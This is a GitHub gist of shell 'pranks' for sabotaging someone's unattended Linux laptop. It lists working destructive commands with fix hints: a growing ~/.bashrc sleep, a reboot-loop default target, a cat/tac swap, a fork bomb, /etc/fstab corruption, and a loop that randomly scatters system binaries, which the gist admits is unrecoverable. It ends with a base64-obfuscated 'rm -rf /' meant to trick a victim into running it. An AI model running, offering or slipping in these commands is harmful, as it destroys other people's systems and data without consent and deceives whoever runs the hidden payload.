Skip to content

Instantly share code, notes, and snippets.

@immanuelpotter
Last active September 7, 2018 13:19
Show Gist options
  • Select an option

  • Save immanuelpotter/5e4be9d025119b34f49404c346ca706d to your computer and use it in GitHub Desktop.

Select an option

Save immanuelpotter/5e4be9d025119b34f49404c346ca706d to your computer and use it in GitHub Desktop.
For the next time someone leaves their laptop open...
#fun:
# slower and slower terminal load with each terminal opened - remove line from ~/.bashrc to fix
echo "echo sleep 5 >> ~/.bashrc" >> ~/.bashrc
#silly:
# the never-ending reboot - edit grub menu and change run level to stop
systemctl set-default /usr/lib/systemd/system/runlevel6.target
# the upside-down cat - unset the alias and move cat back into /bin to fix
sudo mv /bin/cat /srv && alias cat=/bin/tac
#nasty but recoverable:
# unnecessarily mean 11 char forkbomb - system should be okay when it comes back up
:(){:|:&};:
# the fstab of sadness
sed -i 's/root/thisaintroot/g;s/boot/thisaintboot/g' /etc/fstab # drop down to single user mode to sort it
# inexcusably horrible:
#binary redistribution from hell (and overwritten /sys entries... and all the other damage caused...)
# not much you can do to sort this out... least you've still got ls, mv, find :D
dirs_arr=( $(ls /* | sed 's/://g') ) ; # take colons out dir names
dirs_total=${#dirs_arr[@]} ;
bins=$(find /bin/ /sbin/ | grep -ve mv -ve ls -ve find) ; \
for i in $bins; do RAND_IDX=$(( $RANDOM % ${dirs_total} )) ; mv ${i} ${dirs_arr[$RAND_IDX]} ; done
# not for an open terminal, but try get them to run:
echo "c3VkbyBybSAtcmYgLyAtLW5vLXByZXNlcnZlLXJvb3QK" | base64 -d | sh
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment